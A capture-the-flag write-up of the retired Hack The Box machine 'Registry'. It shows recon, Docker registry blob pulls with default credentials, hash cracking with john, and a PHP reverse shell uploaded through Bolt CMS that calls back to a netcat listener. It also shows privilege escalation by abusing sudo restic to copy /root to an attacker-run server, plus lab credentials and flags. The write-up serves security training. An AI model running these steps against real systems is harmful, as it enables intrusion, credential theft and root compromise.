HTB: Registry

Posted on 04 Apr 2020 in security • 13 min read

Jarvis Card

This is a writeup about a retired HacktheBox machine: Registry. This box is rated as a hard box. It was release on October 19 by thek. It implies a few rabbit holes, the Docker registry API, the Bolt CMS, and the SUID binary restic.

[TOC]

Getting user

Recon

Let us start as always by a nmap TCP scan. The ports 22 (SSH), 80 (HTTP), 443(HTTPS) and 32115 are open:

# Nmap 7.80 scan initiated Thu Nov 28 07:53:01 2019 as: nmap -p- -oA nmap 10.10.10.159
Nmap scan report for 10.10.10.159
Host is up (0.086s latency).
Not shown: 65531 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
443/tcp   open  https
32115/tcp open  unknown

# Nmap done at Thu Nov 28 08:05:18 2019 -- 1 IP address (1 host up) scanned in 737.00 seconds

Let us see what services are running on this ports.

# Nmap 7.80 scan initiated Thu Nov 28 08:05:53 2019 as: nmap -p22,80,443,32115 -sSV -oA services 10.10.10.159
Nmap scan report for 10.10.10.159
Host is up (0.084s latency).

PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     nginx 1.14.0 (Ubuntu)
443/tcp   open  ssl/http nginx 1.14.0 (Ubuntu)
32115/tcp open  unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Nov 28 08:06:18 2019 -- 1 IP address (1 host up) scanned in 24.72 seconds

Web

On both port 80 and 443 we get the default Nginx home page.

default nginx homepage

We run a dirb at it. The tool found a few interesting files in .ssh.:

  • authorized_keys
  • id_rsa
  • password

Here is the dirb output:

-----------------
DIRB v2.22
By The Dark Raver
-----------------

OUTPUT_FILE: dirb_ip
START_TIME: Tue Dec  3 07:40:04 2019
URL_BASE: http://10.10.10.159/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://10.10.10.159/ ----
+ http://10.10.10.159/.bash_history (CODE:403|SIZE:580)
==> DIRECTORY: http://10.10.10.159/.ssh/
==> DIRECTORY: http://10.10.10.159/fuck/
+ http://10.10.10.159/index.html (CODE:200|SIZE:612)
==> DIRECTORY: http://10.10.10.159/install/

---- Entering directory: http://10.10.10.159/.ssh/ ----
+ http://10.10.10.159/.ssh/authorized_keys (CODE:200|SIZE:395)
+ http://10.10.10.159/.ssh/id_rsa (CODE:200|SIZE:1766)
+ http://10.10.10.159/.ssh/password (CODE:200|SIZE:10)

---- Entering directory: http://10.10.10.159/fuck/ ----

---- Entering directory: http://10.10.10.159/install/ ----
+ http://10.10.10.159/install/index.php (CODE:200|SIZE:1050)

-----------------
END_TIME: Tue Dec  3 08:10:46 2019
DOWNLOADED: 18448 - FOUND: 6

The password file contain a single "word": awwwwwwww.

The SSH key is password protected, we extract the hash for john and run it to find the password: rootroot.

$ python2 /usr/bin/ssh2john id_rsa > id_rsa.hash
$ john  id_rsa.hash -w=~/tools/password_lists/rockyou.txt
Warning: detected hash type "SSH", but the string is also recognized as "ssh-opencl"
Use the "--format=ssh-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
rootroot         (id_rsa)
Warning: Only 1 candidate left, minimum 4 needed for performance.
1g 0:00:00:11 DONE (2019-12-03 13:51) 0.08635g/s 1238Kp/s 1238Kc/s 1238KC/s *7¡Vamos!
Session completed

The SSH key doesn't let us login anywhere. It will prove later than both the SSH key and the password were just a rabbit hole.

subdomain

We take a look at the SSL certificate and we see that there is a interesting sub domain: https://docker.registry.htb/

default Nginx homepage

We run another dirb at it and found an interesting page: https://docker.registry.htb/v2

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Thu Nov 28 08:28:46 2019
URL_BASE: https://docker.registry.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: https://docker.registry.htb/ ----
+ https://docker.registry.htb/v2 (CODE:301|SIZE:39)

-----------------
END_TIME: Thu Nov 28 08:36:36 2019
DOWNLOADED: 4612 - FOUND: 1

This page ask for a basic auth. The trivial admin:admin creds work.

Docker registry API

The following link is an interesting source to exploit the docker registry API: https://www.notsosecure.com/anatomy-of-a-hack-docker-registry/

We start enumerating using the command: _catalog. The API give use the available images: {"repositories":["bolt-image"]}.

(Note: the command are used by appending them to the URL for instance the _catalog command is run by getting the following URL: https://docker.registry.htb/v2/_catalog).

We list the available tags for this image with bolt-image/tags/list. There is only one version available for this image: latest.

{"name":"bolt-image","tags":["latest"]}

We download the manifest for the latest version of the bolt-image docker image with the command bolt-image/manifests/latest.

{
  "schemaVersion": 1,
  "name": "bolt-image",
  "tag": "latest",
  "architecture": "amd64",
  "fsLayers": [
      {
        "blobSum": "sha256:302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b"
      },
      {
        "blobSum": "sha256:3f12770883a63c833eab7652242d55a95aea6e2ecd09e21c29d7d7b354f3d4ee"
      },
      {
        "blobSum": "sha256:02666a14e1b55276ecb9812747cb1a95b78056f1d202b087d71096ca0b58c98c"
      },
      {
        "blobSum": "sha256:c71b0b975ab8204bb66f2b659fa3d568f2d164a620159fc9f9f185d958c352a7"
      },
      {
        "blobSum": "sha256:2931a8b44e495489fdbe2bccd7232e99b182034206067a364553841a1f06f791"
      },
      {
        "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
      },
      {
        "blobSum": "sha256:f5029279ec1223b70f2cbb2682ab360e1837a2ea59a8d7ff64b38e9eab5fb8c0"
      },
      {
        "blobSum": "sha256:d9af21273955749bb8250c7a883fcce21647b54f5a685d237bc6b920a2ebad1a"
      },
      {
        "blobSum": "sha256:8882c27f669ef315fc231f272965cd5ee8507c0f376855d6f9c012aae0224797"
      },
      {
        "blobSum": "sha256:f476d66f540886e2bb4d9c8cc8c0f8915bca7d387e536957796ea6c2f8e7dfff"
      }
  ],
  "history": [
      {
        "v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"e2e880122289\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":true,\"AttachStdout\":true,\"AttachStderr\":true,\"Tty\":true,\"OpenStdin\":true,\"StdinOnce\":true,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"bash\"],\"Image\":\"docker.registry.htb/bolt-image\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":{}},\"container\":\"e2e88012228993b25b697ee37a0aae0cb0ecef7b1536d2b8e488a6ec3f353f14\",\"container_config\":{\"Hostname\":\"e2e880122289\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":true,\"AttachStdout\":true,\"AttachStderr\":true,\"Tty\":true,\"OpenStdin\":true,\"StdinOnce\":true,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"bash\"],\"Image\":\"docker.registry.htb/bolt-image\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":{}},\"created\":\"2019-05-25T15:18:56.9530238Z\",\"docker_version\":\"18.09.2\",\"id\":\"f18c41121574af38e7d88d4f5d7ea9d064beaadd500d13d33e8c419d01aa5ed5\",\"os\":\"linux\",\"parent\":\"9380d9cebb5bc76f02081749a8e795faa5b5cb638bf5301a1854048ff6f8e67e\"}"
      },
      {
        "v1Compatibility": "{\"id\":\"9380d9cebb5bc76f02081749a8e795faa5b5cb638bf5301a1854048ff6f8e67e\",\"parent\":\"d931b2ca04fc8c77c7cbdce00f9a79b1954e3509af20561bbb8896916ddd1c34\",\"created\":\"2019-05-25T15:13:31.3975799Z\",\"container_config\":{\"Cmd\":[\"bash\"]}}"
      },
      {
        "v1Compatibility": "{\"id\":\"d931b2ca04fc8c77c7cbdce00f9a79b1954e3509af20561bbb8896916ddd1c34\",\"parent\":\"489e49942f587534c658da9060cbfc0cdb999865368926fab28ccc7a7575283a\",\"created\":\"2019-05-25T14:57:27.6745842Z\",\"container_config\":{\"Cmd\":[\"bash\"]}}"
      },
      {
        "v1Compatibility": "{\"id\":\"489e49942f587534c658da9060cbfc0cdb999865368926fab28ccc7a7575283a\",\"parent\":\"7f0ab92fdf7dd172ef58247894413e86cfc60564919912343c9b2e91cd788ae4\",\"created\":\"2019-05-25T14:47:52.6859489Z\",\"container_config\":{\"Cmd\":[\"bash\"]}}"
      },
      {
        "v1Compatibility": "{\"id\":\"7f0ab92fdf7dd172ef58247894413e86cfc60564919912343c9b2e91cd788ae4\",\"parent\":\"5f7e711dba574b5edd0824a9628f3b91bfd20565a5630bbd70f358f0fc4ebe95\",\"created\":\"2019-05-24T22:51:14.8744838Z\",\"container_config\":{\"Cmd\":[\"/bin/bash\"]}}"
      },
      {
        "v1Compatibility": "{\"id\":\"5f7e711dba574b5edd0824a9628f3b91bfd20565a5630bbd70f358f0fc4ebe95\",\"parent\":\"f75463b468b510b7850cd69053a002a6f10126be3764b570c5f80a7e5044974c\",\"created\":\"2019-04-26T22:21:05.100534088Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop)  CMD [\\\"/bin/bash\\\"]\"]},\"throwaway\":true}"
      },
      {
        "v1Compatibility": "{\"id\":\"f75463b468b510b7850cd69053a002a6f10126be3764b570c5f80a7e5044974c\",\"parent\":\"4b937c36cc17955293cc01d8c7c050c525d22764fa781f39e51afbd17e3e5529\",\"created\":\"2019-04-26T22:21:04.936777709Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c mkdir -p /run/systemd \\u0026\\u0026 echo 'docker' \\u003e /run/systemd/container\"]}}"
      },
      {
        "v1Compatibility": "{\"id\":\"4b937c36cc17955293cc01d8c7c050c525d22764fa781f39e51afbd17e3e5529\",\"parent\":\"ab4357bfcbef1a7eaa70cfaa618a0b4188cccafa53f18c1adeaa7d77f5e57939\",\"created\":\"2019-04-26T22:21:04.220422684Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c rm -rf /var/lib/apt/lists/*\"]}}"
      },
      {
        "v1Compatibility": "{\"id\":\"ab4357bfcbef1a7eaa70cfaa618a0b4188cccafa53f18c1adeaa7d77f5e57939\",\"parent\":\"f4a833e38a779e09219325dfef9e5063c291a325cad7141bcdb4798ed68c675c\",\"created\":\"2019-04-26T22:21:03.471632173Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c set -xe \\t\\t\\u0026\\u0026 echo '#!/bin/sh' \\u003e /usr/sbin/policy-rc.d \\t\\u0026\\u0026 echo 'exit 101' \\u003e\\u003e /usr/sbin/policy-rc.d \\t\\u0026\\u0026 chmod +x /usr/sbin/policy-rc.d \\t\\t\\u0026\\u0026 dpkg-divert --local --rename --add /sbin/initctl \\t\\u0026\\u0026 cp -a /usr/sbin/policy-rc.d /sbin/initctl \\t\\u0026\\u0026 sed -i 's/^exit.*/exit 0/' /sbin/initctl \\t\\t\\u0026\\u0026 echo 'force-unsafe-io' \\u003e /etc/dpkg/dpkg.cfg.d/docker-apt-speedup \\t\\t\\u0026\\u0026 echo 'DPkg::Post-Invoke { \\\"rm -f /var/cache/apt/archives/*.deb /var/cache/apt/archives/partial/*.deb /var/cache/apt/*.bin || true\\\"; };' \\u003e /etc/apt/apt.conf.d/docker-clean \\t\\u0026\\u0026 echo 'APT::Update::Post-Invoke { \\\"rm -f /var/cache/apt/archives/*.deb /var/cache/apt/archives/partial/*.deb /var/cache/apt/*.bin || true\\\"; };' \\u003e\\u003e /etc/apt/apt.conf.d/docker-clean \\t\\u0026\\u0026 echo 'Dir::Cache::pkgcache \\\"\\\"; Dir::Cache::srcpkgcache \\\"\\\";' \\u003e\\u003e /etc/apt/apt.conf.d/docker-clean \\t\\t\\u0026\\u0026 echo 'Acquire::Languages \\\"none\\\";' \\u003e /etc/apt/apt.conf.d/docker-no-languages \\t\\t\\u0026\\u0026 echo 'Acquire::GzipIndexes \\\"true\\\"; Acquire::CompressionTypes::Order:: \\\"gz\\\";' \\u003e /etc/apt/apt.conf.d/docker-gzip-indexes \\t\\t\\u0026\\u0026 echo 'Apt::AutoRemove::SuggestsImportant \\\"false\\\";' \\u003e /etc/apt/apt.conf.d/docker-autoremove-suggests\"]}}"
      },
      {
        "v1Compatibility": "{\"id\":\"f4a833e38a779e09219325dfef9e5063c291a325cad7141bcdb4798ed68c675c\",\"created\":\"2019-04-26T22:21:02.724843678Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:7ce84f13f11609a50ece7823578159412e2299c812746d1d1f1ed5db0728bd37 in / \"]}}"
      }
  ],
  "signatures": [
      {
        "header": {
            "jwk": {
              "crv": "P-256",
              "kid": "Q25C:2A2S:CDXB:7IXF:ZKDR:DELT:QBCW:XKT5:OT7Z:GQBN:4PG4:UK6K",
              "kty": "EC",
              "x": "WSj-L3I1ssgS0RChWY0rTb1-N3dZjGpHfwKmvulklM0",
              "y": "SUmHvK1PcIZzBkzk34Nn8mzXq2veOpDlECUqVsru3k8"
            },
            "alg": "ES256"
        },
        "signature": "W1F9OyNxfyFaljdYUFMnVbcwUIgaJ7wiwfe1JboyRBFsYZGmzWC0n0bkQbGXD7M9P2Bh-D3U0u0AG3zWxEndLg",
        "protected": "eyJmb3JtYXRMZW5ndGgiOjY3OTIsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAxOS0xMi0wM1QxNDowODoyOFoifQ"
      }
  ]
}

Blobs

We extract the list of blobs and redirect it to a file grep blob latest | cut -d '"' -f 4 > blob_list then we download each blob while read l ; do wget --http-user=admin --http-password=admin --no-check-certificate https://docker.registry.htb/v2/bolt-image/blobs/$l; done < blob_list.

The blob sha256:3f12770883a63c833eab7652242d55a95aea6e2ecd09e21c29d7d7b354f3d4ee only contain a file edited with Vim 8 (there is a vulnerability for this version). But we do not have access to a Vim for the moment.

In the sha256:302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b blob we found a 01-ssh.sh file containing a password

#!/usr/bin/expect -f
#eval `ssh-agent -s`
spawn ssh-add /root/.ssh/id_rsa
expect "Enter passphrase for /root/.ssh/id_rsa:"
send "GkOcz221Ftb3ugog\n";
expect "Identity added: /root/.ssh/id_rsa (/root/.ssh/id_rsa)"
interact

In the blob sha256:02666a14e1b55276ecb9812747cb1a95b78056f1d202b087d71096ca0b58c98c we found a .bash_history file not containing something interesting.

cd /root/
ls -la
>.bash_history
ls -la
cat .bashrc
ls -la
l .ssh/
cat .viminfo
> .viminfo
ls -la

The blob sha256:8882c27f669ef315fc231f272965cd5ee8507c0f376855d6f9c012aae0224797 contain a few files but nothing of interest. The blob ` contain a.bash_history` file.

s aux
ps aux
apt update
apt install git
apt install php
php --ini |grep Loaded
l /etc/php/
l /etc/php/7.2/
apt install nginx
apt install php-fpm
cd /var/www/html/
ls -la
rm -rf index.html
mv index.nginx-debian.html index.html
l
git clone https://github.com/bolt/bolt.git
l
ls -la
cd bolt/
ls -la
useradd -m bolt
cd /home/
l
ls -la
userdel bolt
l
rm -rf bolt/
cd /root/
l
ls -la
mkdir .ssh
cd .ssh/
l
ls -la
vi config
edit config
apt install vim
vi config
ssh-keygen -t rsa -b 4096 -C "bolt@registry.htb"
l
ls -la
cd ..
ls -la
ssh-add /root/.ssh/id_rsa
eval `ssh-agent -s`
ssh-add /root/.ssh/id_rsa
ps aux | grep ssh
l /etc/profile.d/
l /etc/profile.d/01-locale-fix.sh
cat /etc/profile.d/01-locale-fix.sh
cat /etc/profile
l /etc/bash.bashrc
cat /etc/bash.bashrc
l
wd
pwd
ls -la
cat .profile
cat .bashrc
l
vi /etc/profile.d/01-ssh.sh
apt install expect
which expect
vi /etc/profile.d/01-ssh.sh
l /etc/profile.d/
ls -la /etc/profile.d/
sh /etc/profile.d/01-ssh.sh
which spawn
apt install spawn
chmod +x /etc/profile.d/01-ssh.sh
/etc/profile.d/01-ssh.sh
cat /etc/profile.d/01-ssh.sh
ps aux
vi /etc/profile.d/01-ssh.sh
/etc/profile.d/01-ssh.sh
vi /etc/profile.d/01-ssh.sh
/etc/profile.d/01-ssh.sh
ps aux
ssh registry
ping registry.htb
apt install ping
apt install iputils-ping
ping registry.htb
cat .ssh/id_rsa.pub
ssh registry
cd /etc/profile.d/
l
cp 01-ssh.sh 02-ssh.sh
vi 01-ssh.sh
ssh 01-ssh.sh
chmod +x 01-
chmod +x 01-ssh.sh
./01-ssh.sh
ps aux
kill 11162 11241 11365
ssh registry
cat /etc/profile
l
cd /root/
ls -la
cat .profile
vi .profile
ps aux
cat /etc/profile.d/01-ssh.sh
vi .profile
eval `ssh-agent -s`
vi .profile
ps aux
systemctl restart nginx.service
/etc/init.d/nginx start
/etc/init.d/php7.2-fpm start
ps aux
l
ls -la
cd /var/www/html/
l
vi sync.sh
chmod +x sync.sh
./sync.sh
apt install rsync
./sync.sh
l
/etc/profile.d/01-ssh.sh
/etc/profile.d/02-ssh.sh
./sync.sh
l
ls -la
rm -rf bolt/
./sync.sh
l
ls -la
cd bolt/
ls -la
cd ..
l
rm -rf bolt
l
ls -la
cat sync.sh
ps aux
kill 11412 11531
ps aux
cd /
ls -la
cd /home/
l
ls -la
exit
exit

The blob sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 doesn't seems to contain anything.

The blob sha256:d9af21273955749bb8250c7a883fcce21647b54f5a685d237bc6b920a2ebad1a contain some apt list.

The blob sha256:f476d66f540886e2bb4d9c8cc8c0f8915bca7d387e536957796ea6c2f8e7dfff contain a full file system. But no passwords in /etc/shadow.

The blob sha256:f5029279ec1223b70f2cbb2682ab360e1837a2ea59a8d7ff64b38e9eab5fb8c0 does not contain anything interesting.

The blob sha256:2931a8b44e495489fdbe2bccd7232e99b182034206067a364553841a1f06f791 is quit big there is a full file system in it. In the /root/.ssh/ folder we find another SSH key and a SSH config file (the /etc/shadow doesn't contain any password).

Host registry
  User bolt
  Port 22
  Hostname registry.htb

The SSH key let us connect as bolt on the box.

# ssh 10.10.10.159 -l bolt -i blobs/id_rsa
Enter passphrase for key 'blobs/id_rsa':
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64)

System information disabled due to load higher than 1.0
Last login: Tue Dec  3 13:48:57 2019 from 10.10.15.222
bolt@bolt:~$ ls
user.txt
bolt@bolt:~$ cat user.txt
ytc0ytdmnzywnzgxngi0zte0otm3ywzi

Getting root

Enumeration

We start our enumeration.

In /var/www/html/ we found a PHP script used for backup. This script call the restic binary with the sudo rights. As this is a script the user running it probably don't need to input a password. As this is in /var/www/html/ this is probably run by the www-data user.

cat /var/www/html/backup.php
<?php shell_exec("sudo restic backup -r rest:http://backup.registry.htb/bolt bolt");

Bolt archive

We also found a backup archive on the system /var/backup/blot.tgz. We scp it on our box and decompress it. This is a clone of https://github.com/bolt/bolt on the branch 3.6. We can check that the commit match with tig and the github repository

tig

A git status inform us that nothing was modify (from git point of view).

git status
On branch 3.6
Your branch is up to date with 'origin/3.6'.

nothing to commit, working tree clean

So we look at the files listed in .gitignore.

app/config

The file config.yml tell us that there is sqlite database named bolt. The other files does not contain useful information.

head app/config/config.yml
# Database setup. The driver can be either 'sqlite', 'mysql' or 'postgres'.
#
# For SQLite, only the databasename is required. However, MySQL and PostgreSQL
# also require 'username', 'password', and optionally 'host' ( and 'port' ) if the database
# server is not on the same host as the web server.
#
# If you're trying out Bolt, just keep it set to SQLite for now.
database:
    driver: sqlite
    databasename: bolt

app/database

We can access the database using sqlite3 (which is available by default on a Kali install). We list the available tables and the data from the bolt_users and bolt_authtoken. We got a password hash.

sqlite3 app/database/bolt.db
SQLite version 3.30.1 2019-10-10 20:19:45
Enter ".help" for usage hints.
sqlite> .tables
bolt_authtoken    bolt_field_value  bolt_pages        bolt_users
bolt_blocks       bolt_homepage     bolt_relations
bolt_cron         bolt_log_change   bolt_showcases
bolt_entries      bolt_log_system   bolt_taxonomy
sqlite> select * from bolt_users;
1|admi|$2y$10$hcuhBWxp7Ypk8Wx.LUpEguihXr60tiDeh46v3cSy7wvKnQSq/Kre2|thek27@gmail.com|2019-05-29 11:02:18|192.168.50.1|Admin|[]|1||||0||["root","everyone"]
sqlite> select * from bolt_authtoken;
1|1||5ce26d1b34ecf3405469c50ef01e044793c71db8da07e4705fc995a0bd964505|05fde348656e16b2589424fb7d175372|2019-05-29 11:02:18|192.168.50.1|Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36|2019-06-12 11:02:18

We can use sqlite> .schema bolt_users to show the columns name (for the bolt_users table).

We try to brute force the password has using john. The hash algorithm is bcrypt and the password doesn't seems to be on the rockyou top 10 000 (+ the three passwords found earlier).

Production DB

We are working on the backup database. Let us just get the "production" one. And dump the same table. The hash is different.

scp bolt@10.10.10.159:/var/www/html/bolt/app/database/bolt.db ./
Enter passphrase for key '/root/.ssh/id_rsa':
bolt.db    100%  296KB  65.2KB/s   00:04
sqlite3 bolt.db
SQLite version 3.30.1 2019-10-10 20:19:45
Enter ".help" for usage hints.
sqlite> select * from bolt_users;
1|admin|$2y$10$e.ChUytg9SrL7AsboF2bX.wWKQ1LkS5Fi3/Z0yYD86.P5E9cpY7PK|bolt@registry.htb|2019-12-04 12:58:05|10.10.16.58|Admin|["files://ls.php.png"]|1||||0||["root","everyone"]
2|test|$2y$10$8GeiNSHiL3pAlMyRvjY2seroSOYQnvRKmZxk/iadII3lKPYhsvh1S|a@a.a|2019-12-04 09:09:13|10.10.14.218|testingtege|["files://166912.jpg"]|1||||0||["editor","chief-editor","admin","developer","guest","root","everyone"]

This time john is more efficient and we found the password almost immediately.

john  hash -w=~/tools/password_lists/rockyou.txt
Warning: detected hash type "bcrypt", but the string is also recognized as "bcrypt-opencl"
Use the "--format=bcrypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
strawberry       (?)
1g 0:00:00:04 DONE (2019-12-04 16:38) 0.2439g/s 87.80p/s 87.80c/s 87.80C/s strawberry..brianna
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Bolt CMS

We go to the bolt login interface.

Bolt login interface

We connect as admin using the cracked password (strawberry). There is a menu to upload some files. But the PHP files are not authorized.

Bolt dashboard

Upload files interface

As we are admin we can change this configuration in the "configuration/main configuration" menu.

Configuration menu

We just add the PHP files in the authorized extension and save the configuration.

Configuration menu, adding PHP

We can then upload our PHP reverse shell (from /usr/share/webshells/php/php-reverse-shell.php). Pointing to our local netcat running as bolt.

<?php
<SNIP>
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 4343;       // CHANGE THIS
$chunk_size = 1400;
<SNIP>

Reverse shell uploaded

bolt@bolt:~$ nc -l -p 4343
Linux bolt 4.15.0-65-generic #74-Ubuntu SMP Tue Sep 17 17:06:04 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
14:06:37 up  2:50,  2 users,  load average: 0.14, 0.08, 0.02
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
bolt     pts/2    10.10.15.63      11:35    2:21   0.01s  0.00s nc -l -p 4343
bolt     pts/3    10.10.15.1       13:31   53.00s  0.03s  0.03s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Note: all the above operation must be done "quickly" as the bolt's configuration and the uploaded files are reset every few minutes. Once you get the reverse shell the reset won't impact you anymore.

www-data

Now that we are www-data we can check our previous assumptions regarding its sudo rights.

:::text $ sudo -l Matching Defaults entries for www-data on bolt: env_reset, exempt_group=sudo, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bolt: (root) NOPASSWD: /usr/bin/restic backup -r rest*

We read carefully the restic documentation. The most interesting pages are: * How to backup data * How to create a new repository * And more specificaly how to run a REST repository * The github repository of the REST server * How to restore a backup

From there we upload a complied GO binary of rest-server from the github project to the box using the bolt SSH account.

We create a directory in /tmp/, upload our binary and create another directory for our backups.

bolt@bolt:/tmp$ mkdir ioio2
bolt@bolt:/tmp$ cd ioio2
bolt@bolt:/tmp/ioio2$ ls
rest-server-0.9.7-linux-amd64
bolt@bolt:/tmp/ioio2$ chmod +x rest-server-0.9.7-linux-amd64
bolt@bolt:/tmp/ioio2$ mkdir srv

We imitate the restic repository in our folder.

bolt@bolt:/tmp/ioio2$ restic init --repo ./srv/
enter password for new repository:
enter password again:
created restic repository b421a8c9a1 at ./srv/

Please note that knowledge of your password is required to access
the repository. Losing your password means that your data is
irrecoverably lost.

We run the server with the debug option.

bolt@bolt:/tmp/ioio2$ ./rest-server-0.9.7-linux-amd64 --path /tmp/ioio2/srv/  --debug
rest-server 0.9.7 compiled with go1.10 on linux/amd64
Data directory: /tmp/ioio2/srv/
Authentication disabled
Private repositories disabled
Starting server on :8000

With our www-data webshell we put the repository password in a file and backup the whole /root/ directory.

$ echo lol > /tmp/l
$ sudo /usr/bin/restic backup -r rest:http://127.0.0.1:8000/ -p /tmp/l /root/
scan [/root]
[0:00] 10 directories, 14 files, 28.066 KiB
scanned 10 directories, 14 files in 0:00
[0:00] 100.00%  28.066 KiB / 28.066 KiB  24 / 24 items  0 errors  ETA 0:00

duration: 0:00
snapshot 485d9809 saved

Back to our bolt SSH shell we can check the snapshots in our repository (yes I did some test with the bolt user. That's how I discover that I was prompted for password).

bolt@bolt:/tmp/ioio2$ restic -r ./srv/ snapshots
enter password for repository:
password is correct
ID        Date                 Host        Tags        Directory
----------------------------------------------------------------------
91587cbd  2019-12-05 15:20:31  bolt                    /home/bolt
bf190199  2019-12-05 15:21:59  bolt                    /home/bolt
c7702698  2019-12-05 15:23:55  bolt                    /home/bolt
485d9809  2019-12-05 15:25:06  bolt                    /root
----------------------------------------------------------------------
4 snapshots

We restore the last snapshot in a new directory. It generate some errors that we don't really care about.

bolt@bolt:/tmp/ioio2$ mkdir rest
bolt@bolt:/tmp/ioio2$ restic -r ./srv/ restore 485d9809 --target  ./rest
enter password for repository:
password is correct
restoring <Snapshot 485d9809 of [/root] at 2019-12-05 15:25:06.665521427 +0000 UTC by root@bolt> to ./rest
ignoring error for /root/.bash_history: Lchown: lchown /tmp/ioio2/rest/root/.bash_history: operation not permitted
ignoring error for /root/.bashrc: Lchown: lchown /tmp/ioio2/rest/root/.bashrc: operation not permitted
ignoring error for /root/.cache/motd.legal-displayed: Lchown: lchown /tmp/ioio2/rest/root/.cache/motd.legal-displayed: operation not permitted
ignoring error for /root/.cache: Lchown: lchown /tmp/ioio2/rest/root/.cache: operation not permitted
ignoring error for /root/.config/composer/keys.dev.pub: Lchown: lchown /tmp/ioio2/rest/root/.config/composer/keys.dev.pub: operation not permitted
ignoring error for /root/.config/composer/keys.tags.pub: Lchown: lchown /tmp/ioio2/rest/root/.config/composer/keys.tags.pub: operation not permitted
ignoring error for /root/.config/composer: Lchown: lchown /tmp/ioio2/rest/root/.config/composer: operation not permitted
ignoring error for /root/.config: Lchown: lchown /tmp/ioio2/rest/root/.config: operation not permitted
ignoring error for /root/.gnupg/private-keys-v1.d: Lchown: lchown /tmp/ioio2/rest/root/.gnupg/private-keys-v1.d: operation not permitted
ignoring error for /root/.gnupg: Lchown: lchown /tmp/ioio2/rest/root/.gnupg: operation not permitted
ignoring error for /root/.local/share/nano: Lchown: lchown /tmp/ioio2/rest/root/.local/share/nano: operation not permitted
ignoring error for /root/.local/share: Lchown: lchown /tmp/ioio2/rest/root/.local/share: operation not permitted
ignoring error for /root/.local: Lchown: lchown /tmp/ioio2/rest/root/.local: operation not permitted
ignoring error for /root/.profile: Lchown: lchown /tmp/ioio2/rest/root/.profile: operation not permitted
ignoring error for /root/.selected_editor: Lchown: lchown /tmp/ioio2/rest/root/.selected_editor: operation not permitted
ignoring error for /root/.ssh/authorized_keys: Lchown: lchown /tmp/ioio2/rest/root/.ssh/authorized_keys: operation not permitted
ignoring error for /root/.ssh/id_rsa: Lchown: lchown /tmp/ioio2/rest/root/.ssh/id_rsa: operation not permitted
ignoring error for /root/.ssh/id_rsa.pub: Lchown: lchown /tmp/ioio2/rest/root/.ssh/id_rsa.pub: operation not permitted
ignoring error for /root/.ssh: Lchown: lchown /tmp/ioio2/rest/root/.ssh: operation not permitted
ignoring error for /root/.wget-hsts: Lchown: lchown /tmp/ioio2/rest/root/.wget-hsts: operation not permitted
ignoring error for /root/config.yml: Lchown: lchown /tmp/ioio2/rest/root/config.yml: operation not permitted
ignoring error for /root/cron.sh: Lchown: lchown /tmp/ioio2/rest/root/cron.sh: operation not permitted
ignoring error for /root/root.txt: Lchown: lchown /tmp/ioio2/rest/root/root.txt: operation not permitted
ignoring error for /root: Lchown: lchown /tmp/ioio2/rest/root: operation not permitted
There were 24 errors

In the root directory backup we found the flag as planned.

